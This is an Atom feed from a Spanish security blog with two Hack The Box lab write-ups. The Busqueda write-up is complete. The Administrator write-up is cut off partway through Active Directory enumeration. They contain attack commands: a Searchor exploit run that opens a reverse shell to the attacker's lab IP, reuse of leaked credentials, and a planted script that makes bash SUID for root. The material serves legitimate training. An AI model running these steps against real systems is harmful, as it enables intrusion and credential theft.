<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="es"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://marcgoam.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://marcgoam.github.io/" rel="alternate" type="text/html" hreflang="es" /><updated>2026-01-29T10:21:09+00:00</updated><id>https://marcgoam.github.io/feed.xml</id><title type="html">marcgoam.io</title><subtitle>Publicaciones sobre ciberseguridad, hacking y CTFs</subtitle><author><name>marcgoam</name><email>marcgoam@gmail.com</email></author><entry><title type="html">Busqueda - Hack The Box</title><link href="https://marcgoam.github.io/htb-writeup-busqueda/" rel="alternate" type="text/html" title="Busqueda - Hack The Box" /><published>2025-02-06T00:00:00+00:00</published><updated>2025-02-06T00:00:00+00:00</updated><id>https://marcgoam.github.io/htb-writeup-busqueda</id><content type="html" xml:base="https://marcgoam.github.io/htb-writeup-busqueda/"><![CDATA[<p>Este artículo detalla los pasos seguidos para resolver la máquina Búsqueda de Hack The Box. Es un desafío de dificultad fácil centrado en la explotación de aplicaciones web. Se comienza accediendo a la aplicación web mediante una ejecución arbitraria de código aprovechando una vulnerabilidad en un repositorio de GitHub. A partir de ahí, se obtienen credenciales que permiten el acceso a Gitea, donde se revisa el código fuente de un script que el usuario puede ejecutar con privilegios de root. Analizando su funcionamiento, se abusa de los permisos del sistema creando un archivo malicioso que modifica los permisos de la bash y la establece como SUID. Finalmente, se ejecuta la bash con privilegios elevados, logrando así el acceso completo al sistema.</p>

<h3 id="toolsblogs-used">Tools/Blogs used</h3>

<ul>
  <li><strong>Searchor 2.4.0 RCE exploit</strong>: <a href="https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection" target="_blank" rel="noopener noreferrer">https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection</a></li>
</ul>

<h1 id="recon">Recon</h1>

<p>El primer paso será utilizar nmap para ver los puertos abiertos de la máquina. <code class="language-plaintext highlighter-rouge">nmap</code> encuentra varios puertos TCP abiertos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>

<p>El escaneo revela varios puertos TCP abiertos, lo que nos da una primera idea de la superficie de ataque disponible. El puerto 80/tcp se encuentra abierto y expone un servidor Apache 2.4.52. El escaneo indica que el sitio web redirige a http://searcher.htb/, por lo que será necesario añadir este dominio al archivo /etc/hosts para poder acceder correctamente a la aplicación web.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ nano /etc/hosts

10.10.11.208  searcher.htb
</code></pre></div></div>

<p>Dado que se trata de una máquina Linux y que el servicio HTTP está disponible, el siguiente paso será analizar la aplicación web en busca de vulnerabilidades que nos permitan obtener acceso inicial al sistema.</p>

<h1 id="enumeración">Enumeración</h1>

<p>En primer lugar, se realizan tareas de enumeración de directorios y subdominios, pero no se obtiene información relevante que permita avanzar por esta vía.</p>

<p>Al analizar manualmente la página web, se observa en la parte inferior un banner con el siguiente mensaje:</p>

<p><img src="/assets/images/htb-writeup-busqueda/web.png" alt="" /></p>

<p>Esto resulta especialmente interesante, ya que al investigar esta versión de Searchor se encuentra que es vulnerable a una ejecución remota de comandos (RCE). La vulnerabilidad de Searchor 2.4.0 se debe al uso inseguro de la función eval() en el backend de la aplicación. La web construye dinámicamente una cadena de código Python utilizando parámetros controlados por el usuario y la ejecuta directamente sin ningún tipo de validación. Esto permite a un atacante inyectar código Python arbitrario y lograr una ejecución remota de comandos (RCE) en el sistema.</p>

<h1 id="explotación">Explotación</h1>

<p>Para explotar esta vulnerabilidad, se aprovecha el campo de búsqueda de la aplicación web. El parámetro introducido por el usuario se pasa directamente a eval(), por lo que es posible inyectar funciones de Python que ejecuten comandos del sistema operativo.</p>

<p>Se ha utilizado el exploit público disponible en GitHub (<a href="https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection">Searchor 2.4.0 Arbitrary Command Injection</a>), el cual automatiza la inyección de código aprovechando el uso inseguro de la función eval() en Searchor 2.4.0.</p>

<p>El script envía un payload malicioso a la funcionalidad de búsqueda de la aplicación web, logrando ejecutar comandos arbitrarios en el sistema objetivo con los privilegios del usuario que ejecuta la aplicación.</p>

<p>Antes de ejecutar el script debemos ponernos en escucha por el puerto 4444 usando netcat, para recibir la reverse shell de la máquina víctima:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ nc -nlvp 4444
Listening on 0.0.0.0 4444
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ ./exploit.sh seacrher.htb 10.10.14.13 4444
---[Reverse Shell Exploit for Searchor &lt;= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.14.13:${4444}
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ nc -nlvp 4444
Listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.208] 54926
bash: cannot set terminal process group (1639): Inapropiate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
svc
svc@busqueda:/home/svc$ cat user.txt
2ac1b522************************
</code></pre></div></div>

<h1 id="escalada-de-privilegios">Escalada de privilegios</h1>

<h2 id="enumeración-1">Enumeración</h2>

<p>Una vez obtenido acceso al sistema, se comienza con la enumeración local. Al revisar el directorio /home, se observa que svc es el único usuario que dispone de un directorio personal.</p>

<p>El contenido del directorio es bastante limitado, pero el archivo .gitconfig resulta especialmente interesante:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ cat .gitconfig 
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks
</code></pre></div></div>

<p>De este archivo se deduce que el usuario svc está asociado al usuario cody, lo que nos da una primera pista sobre posibles credenciales reutilizadas.</p>

<p>Continuando con la enumeración, se localiza el código de la aplicación web en el directorio /var/www/app:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr  8 19:00 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 templates
</code></pre></div></div>

<p>La presencia del directorio .git indica que la aplicación está siendo gestionada mediante Git, lo cual puede revelar información sensible. Al revisar el archivo de configuración del repositorio, se encuentran credenciales en texto claro:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:/var/www/app$ cat .git/config 
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
</code></pre></div></div>

<p>Aquí se identifica un repositorio alojado en Gitea junto con credenciales válidas para el usuario cody, lo que abre un nuevo vector de ataque.</p>

<p>Para poder acceder al servicio, se añade el dominio gitea.searcher.htb al archivo /etc/hosts y se procede a acceder a la plataforma Gitea utilizando las credenciales obtenidas.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ nano /etc/hosts

10.10.11.208  searcher.htb gitea.searcher.htb
</code></pre></div></div>

<p><img src="/assets/images/htb-writeup-busqueda/gitea.png" alt="" /></p>

<p>Se trata de una instancia de Gitea, y las credenciales del usuario cody funcionan correctamente, permitiendo el acceso a la plataforma sin problemas.</p>

<p>Una vez dentro, se revisa el repositorio correspondiente al código de la aplicación web. Aunque el código fuente del sitio se encuentra disponible, no se identifica nada especialmente relevante o vulnerable que pueda aprovecharse en este punto.</p>

<p>Por lo tanto, se continúa con la enumeración en busca de otros posibles vectores que permitan avanzar en la escalada de privilegios.</p>

<h3 id="sudo">sudo</h3>

<p>Al comprobar los privilegios de sudo, se solicita la contraseña del usuario svc:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ sudo -l
[sudo] password for svc:
</code></pre></div></div>

<p>Sabiendo que el usuario svc corresponde realmente a cody, se prueba reutilizar la contraseña obtenida previamente de Gitea, la cual resulta ser válida.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
</code></pre></div></div>

<p>El resultado muestra que el usuario svc puede ejecutar el siguiente comando con privilegios de root:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
</code></pre></div></div>

<p>Esto indica que se permite ejecutar un script de Python como root, lo cual resulta muy prometedor para la escalada de privilegios. Sin embargo, al comprobar los permisos del archivo, se observa que svc no tiene permisos de lectura, e incluso tampoco puede ejecutarlo directamente.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ ls -l /opt/scripts/system-checkup.py 
-rwx--x--x 1 root root 1903 Jan  7 09:18 /opt/scripts/system-checkup.py
</code></pre></div></div>

<h3 id="system-checkup">system-checkup</h3>

<p>Debido al uso del (*) al final de la línea de sudo, no es posible ejecutar el script sin pasarle argumentos.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py 
Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda.
</code></pre></div></div>

<p>Al proporcionar un argumento cualquiera, el script se ejecuta correctamente y muestra un mensaje de ayuda con las opciones disponibles.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py 0xdf
Usage: /opt/scripts/system-checkup.py &lt;action&gt; (arg1) (arg2)

     docker-ps      : List running docker containers
     docker-inspect : Inspect a certain docker container
     full-checkup   : Run a full system checkup
</code></pre></div></div>

<p>El script dispone de tres funcionalidades principales. La opción docker-ps muestra los contenedores Docker en ejecución en el sistema</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   2 years ago   Up 4 hours   127.0.0.1:3000-&gt;3000/tcp, 127.0.0.1:222-&gt;22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   2 years ago   Up 4 hours   127.0.0.1:3306-&gt;3306/tcp, 33060/tcp               mysql_db
</code></pre></div></div>

<p>La salida confirma que hay dos contenedores activos, uno correspondiente a Gitea y otro a MySQL.</p>

<p>La opción docker-inspect resulta especialmente interesante, ya que permite inspeccionar un contenedor concreto y acepta un parámetro de formato. Esta funcionalidad actúa como un wrapper del comando docker inspect, permitiendo al usuario controlar el parámetro –format.</p>

<p>Aprovechando esta característica, se utiliza el formato  para mostrar toda la información del contenedor en formato JSON y facilitar su lectura mediante jq:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '' gitea | jq .
{                                                         
  "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
  "Created": "2023-01-06T17:26:54.457090149Z",
  "Path": "/usr/bin/entrypoint",                          
  "Args": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],  
...[snip]...
    "Env": [
      "USER_UID=115",
      "USER_GID=121",
      "GITEA__database__DB_TYPE=mysql",
      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "USER=git",
      "GITEA_CUSTOM=/data/gitea"                          
    ],  
...[snip]...
</code></pre></div></div>

<p>Entre la información mostrada, destaca la sección Env, donde se encuentran variables de entorno sensibles utilizadas por el contenedor de Gitea. En ellas se incluyen las credenciales de conexión a la base de datos MySQL, incluyendo la contraseña.</p>

<p>Dado que es habitual la reutilización de contraseñas, se prueba dicha contraseña con otros usuarios. En este caso, se intenta reutilizarla para el usuario administrador de Gitea, logrando iniciar sesión correctamente en la plataforma.</p>

<h2 id="system-checkuppy">system-checkup.py</h2>

<h3 id="acceso-como-administrador-a-gitea">Acceso como Administrador a gitea</h3>

<p>Este acceso con privilegios elevados dentro de Gitea permite revisar repositorios adicionales y configuraciones internas, lo que resulta clave para avanzar en la escalada de privilegios y, finalmente, comprometer completamente el sistema.</p>

<p><img src="/assets/images/htb-writeup-busqueda/gitea2.png" alt="" /></p>

<p>Una vez dentro como administrador, se observa la existencia de un único repositorio privado denominado scripts. Al acceder a dicho repositorio, se localiza el archivo system-checkup.py, el mismo script que previamente se podía ejecutar con privilegios de root mediante sudo.</p>

<p>Esto permite analizar directamente el código del script y entender su funcionamiento interno, lo que será clave para abusar de su lógica y lograr la escalada final de privilegios.</p>

<p><img src="/assets/images/htb-writeup-busqueda/gitea3.png" alt="" /></p>

<h3 id="analisis-de-system-checkuppy">Analisis de system-checkup.py</h3>

<p>Tras acceder al repositorio privado scripts como administrador de Gitea, se puede analizar el contenido del archivo system-checkup.py. El script es relativamente sencillo y está dividido en tres secciones, las cuales se ejecutan en función del argumento proporcionado.</p>

<p>Las funciones docker-ps y docker-inspect utilizan una función interna llamada run_command, que hace uso de subprocess.run() de forma segura, por lo que no es posible inyectar comandos a través de estas opciones.</p>

<p>Sin embargo, la opción full-checkup resulta especialmente interesante:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)
</code></pre></div></div>

<p>En este caso, el script intenta ejecutar el archivo full-checkup.sh desde el directorio actual. Anteriormente esta opción fallaba porque dicho archivo no existía. No obstante, esto permite un abuso claro: si se crea un archivo full-checkup.sh en el directorio desde el cual se ejecuta el script, este se ejecutará automáticamente con privilegios de root.</p>

<h3 id="explotación-1">Explotación</h3>

<p>Aprovechando este comportamiento, se crea un script malicioso que copia la bash del sistema y establece el bit SUID, permitiendo ejecutar una shell con privilegios elevados.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:/tmp$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/hack\nchmod 4777 /tmp/hack' &gt; full-checkup.sh
svc@busqueda:/tmp$ cat full-checkup.sh 
#!/bin/bash

cp /bin/bash /tmp/hack
chmod 4777 /tmp/hack
</code></pre></div></div>

<p>Es importante marcar el archivo como ejecutable para que pueda ser lanzado correctamente por el script.</p>

<p>A continuación, se ejecuta nuevamente system-checkup.py con la opción full-checkup:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:/tmp$ sudo python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
</code></pre></div></div>

<p>Tras la ejecución, se comprueba que el archivo /tmp/hack ha sido creado, pertenece a root y tiene el bit SUID activado:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:/tmp$ ls -l /tmp/hack 
-rwsrwxrwx 1 root root 1396520 Feb 06 19:57 /tmp/hack
</code></pre></div></div>

<p>Finalmente, se ejecuta la bash con el parámetro -p para evitar la pérdida de privilegios:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc@busqueda:/tmp$ /tmp/hack -p
</code></pre></div></div>

<p>Con esto, se obtiene una shell como root, permitiendo acceder al archivo root.txt y completar el compromiso total de la máquina:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@busqueda:/# cat root.txt
e7df7cd2************************
</code></pre></div></div>]]></content><author><name>marcgoam</name><email>marcgoam@gmail.com</email></author><category term="hackthebox" /><category term="infosec" /><category term="Web" /><category term="RCE" /><category term="SUID" /><summary type="html"><![CDATA[Busqueda es una máquina de dificultad fácil de Hack The Box donde se obtiene acceso inicial a través de una ejecución arbitraria de código en una aplicación web vulnerable. La escalada de privilegios se logra accediendo a Gitea, analizando el código de un script ejecutable como root y abusando de permisos para establecer la bash con SUID.]]></summary></entry><entry><title type="html">Administrator - Hack The Box</title><link href="https://marcgoam.github.io/htb-writeup-administrator/" rel="alternate" type="text/html" title="Administrator - Hack The Box" /><published>2024-11-13T00:00:00+00:00</published><updated>2024-11-13T00:00:00+00:00</updated><id>https://marcgoam.github.io/htb-writeup-administrator</id><content type="html" xml:base="https://marcgoam.github.io/htb-writeup-administrator/"><![CDATA[<p>Este artículo detalla los pasos seguidos para resolver la máquina <strong>Administrator</strong> de Hack The Box. Es un desafío puro de Active Directory. Se empieza con las credenciales de un usuario y se utilizan para recopilar datos de Bloodhound en el dominio. Se descubre que se puede modificar la contraseña de un usuario y que ese usuario puede modificar la contraseña de otro usuario. Ese usuario tiene acceso a un recurso compartido FTP donde se encuentra un archivo Password Safe. Se descifra la contraseña para recuperar más contraseñas y se pasa al siguiente usuario. Este usuario tiene GenericWrite sobre otro usuario, lo que se aprovecha con un ataque Kerberoasting dirigido. Por último, se realiza un ataque DCSync para volcar el hash del administrador del dominio y comprometer completamente el dominio.</p>

<h3 id="toolsblogs-used">Tools/Blogs used</h3>

<ul>
  <li><strong>NetExec</strong>: <a href="https://github.com/Pennyw0rth/NetExec" target="_blank" rel="noopener noreferrer">https://github.com/Pennyw0rth/NetExec</a></li>
  <li><strong>Evil-WinRM</strong>: <a href="https://github.com/Hackplayers/evil-winrm" target="_blank" rel="noopener noreferrer">https://github.com/Hackplayers/evil-winrm</a></li>
  <li><strong>BloodHound</strong>: <a href="https://github.com/SpecterOps/BloodHound" target="_blank" rel="noopener noreferrer">https://github.com/SpecterOps/BloodHound</a></li>
  <li><strong>bloodhound-python</strong>: <a href="https://github.com/fox-it/BloodHound.py" target="_blank" rel="noopener noreferrer">https://github.com/fox-it/BloodHound.py</a></li>
  <li><strong>Impacket</strong>: <a href="https://github.com/fortra/impacket" target="_blank" rel="noopener noreferrer">https://github.com/fortra/impacket</a></li>
  <li><strong>Hashcat</strong>: <a href="https://github.com/hashcat/hashcat" target="_blank" rel="noopener noreferrer">https://github.com/hashcat/hashcat</a></li>
  <li><strong>John the Ripper</strong>: <a href="https://github.com/openwall/john" target="_blank" rel="noopener noreferrer">https://github.com/openwall/john</a></li>
  <li><strong>pwsafe2john</strong>: <a href="https://github.com/openwall/john/tree/bleeding-jumbo/run" target="_blank" rel="noopener noreferrer">https://github.com/openwall/john/tree/bleeding-jumbo/run</a></li>
  <li><strong>Password Safe</strong>: <a href="https://github.com/pwsafe/pwsafe" target="_blank" rel="noopener noreferrer">https://github.com/pwsafe/pwsafe</a></li>
  <li><strong>targetedKerberoast</strong>: <a href="https://github.com/ShutdownRepo/targetedKerberoast" target="_blank" rel="noopener noreferrer">https://github.com/ShutdownRepo/targetedKerberoast</a></li>
</ul>

<h2 id="recon">Recon</h2>

<p>El primer paso será utilizar nmap para ver los puertos abiertos de la máquina. <code class="language-plaintext highlighter-rouge">nmap</code> encuentra varios puertos TCP abiertos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ nmap -sVC 10.10.11.42
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 08:17 EST
Nmap scan report for 10.10.11.42
Host is up (0.17s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|\_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-13 20:17:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2024-11-13T20:17:23
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|\_clock-skew: 7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.47 seconds
</code></pre></div></div>

<p>Con los resultados del nmap podemos observar que la máquina parece ser un controlador de dominio de Windows (Kerberos, LDAP, SMB, etc.), y también tiene WinrM (5985) abierto, por lo que probablemnte podamos usar ese puerto para acceder con credenciales a la máquina.</p>

<p>Además el FTP está abierto, lo que no es común en un DC.</p>

<p>También se observa en la salida del script LDAP el nombre del dominio administrator.htb. Este nombre de host del DC se añade en el archivo /etc/hosts. Se tiene que añadir la siguiente linea:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ nano /etc/hosts

10.10.11.42   administrator.htb
</code></pre></div></div>

<h2 id="enumeración">Enumeración</h2>

<p>Viendo que tenemos credenciales válidas para el dominio, se utilizan estas credenciales para obtener una lista de usuarios válidos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec smb administrator.htb -u olivia -p ichliebedich --users
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\olivia:ichliebedich
SMB         10.10.11.42     445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.10.11.42     445    DC               Administrator                 2024-10-22 18:59:36 0       Built-in account for administering the computer/domain
SMB         10.10.11.42     445    DC               Guest                         &lt;never&gt;             0       Built-in account for guest access to the computer/domain
SMB         10.10.11.42     445    DC               krbtgt                        2024-10-04 19:53:28 0       Key Distribution Center Service Account
SMB         10.10.11.42     445    DC               olivia                        2024-10-06 01:22:48 0
SMB         10.10.11.42     445    DC               michael                       2024-10-06 01:33:37 0
SMB         10.10.11.42     445    DC               benjamin                      2024-10-06 01:34:56 0
SMB         10.10.11.42     445    DC               emily                         2024-10-30 23:40:02 0
SMB         10.10.11.42     445    DC               ethan                         2024-10-12 20:52:14 0
SMB         10.10.11.42     445    DC               alexander                     2024-10-31 00:18:04 0
SMB         10.10.11.42     445    DC               emma                          2024-10-31 00:18:35 0
SMB         10.10.11.42     445    DC               [*] Enumerated 10 local users: ADMINISTRATOR
</code></pre></div></div>

<p>Se puede utilizar este comando para guardar los usuarios en un archivo</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 10.10.11.42 -u olivia -p "ichliebedich" --users | grep -E '^[[:space:]]*SMB[[:space:]]+[0-9.]+' | awk '{print $5}'
</code></pre></div></div>

<p>El siguiente paso de la enumeración, es ver si con el usuario inicial tenemos lectura / escritura en alguna carpeta compartida interesante de la máquina, pero no es el caso.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec smb administrator.htb -u olivia -p ichliebedich --shares
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\olivia:ichliebedich
SMB         10.10.11.42     445    DC               [*] Enumerated shares
SMB         10.10.11.42     445    DC               Share           Permissions     Remark
SMB         10.10.11.42     445    DC               -----           -----------     ------
SMB         10.10.11.42     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.42     445    DC               C$                              Default share
SMB         10.10.11.42     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.42     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.42     445    DC               SYSVOL          READ            Logon server share
</code></pre></div></div>

<p>Recordando que la máquina tiene el puerto WinRM abierto, si el usuario esta dentro del grupo de Remote Desktop Managment Users, podremos acceder a la máquina a través de este puerto. Por lo que a continuación se comprueba si con las credenciales iniciales podemos acceder a través de este puerto.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec winrm 10.10.11.42 -u olivia -p ichliebedich
WINRM       10.10.11.42     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM       10.10.11.42     5985   DC               [+] administrator.htb\olivia:ichliebedich (Pwn3d!)
</code></pre></div></div>

<p>Es posible acceder a la máquina a través del puerto de WinRM por lo que se utiliza evil-winrm para acceder.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ evil-winrm -i administrator.htb -u olivia -p ichliebedich

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\olivia\Documents&gt;
</code></pre></div></div>

<p>Podemos ver los privilegios de olivia y los grupos a los que pertence.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*Evil-WinRM* PS C:\inetpub&gt; whoami /all

USER INFORMATION
----------------

User Name            SID
==================== ============================================
administrator\olivia S-1-5-21-1088858960-373806567-254189436-1108

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
</code></pre></div></div>

<p>Olivia no tiene ningún privilegio explotable, pero se confirma que esta en el grupo de Remote Management Users.</p>

<h3 id="bloodhound">Bloodhound</h3>

<p>Se ha usado el recolector <strong>bloodhound-python</strong> para obtener los datos del dominio y subirlos a <strong>Bloodhound</strong>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ bloodhound-python -d administrator.htb -c all -u olivia -p ichliebedich -ns 10.10.11.42 --zip
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 27S
INFO: Compressing output into 20241116053818_bloodhound.zip

</code></pre></div></div>

<p>Una vez obtenido el zip, se ha subido a Bloodhound. Aquí se puede observar que olivia tiene permiso GenericAll al usuario Michael, esto significa que olivia tiene control para por ejemplo cambiarle la contraseña al usuario Michael, lo que permitirá ganar acceso como ese usuario.</p>

<p><img src="/assets/images/htb-writeup-administrator/olivia-acl.png" alt="" /></p>

<h2 id="explotación-olivia---michael">Explotación (Olivia -&gt; Michael)</h2>

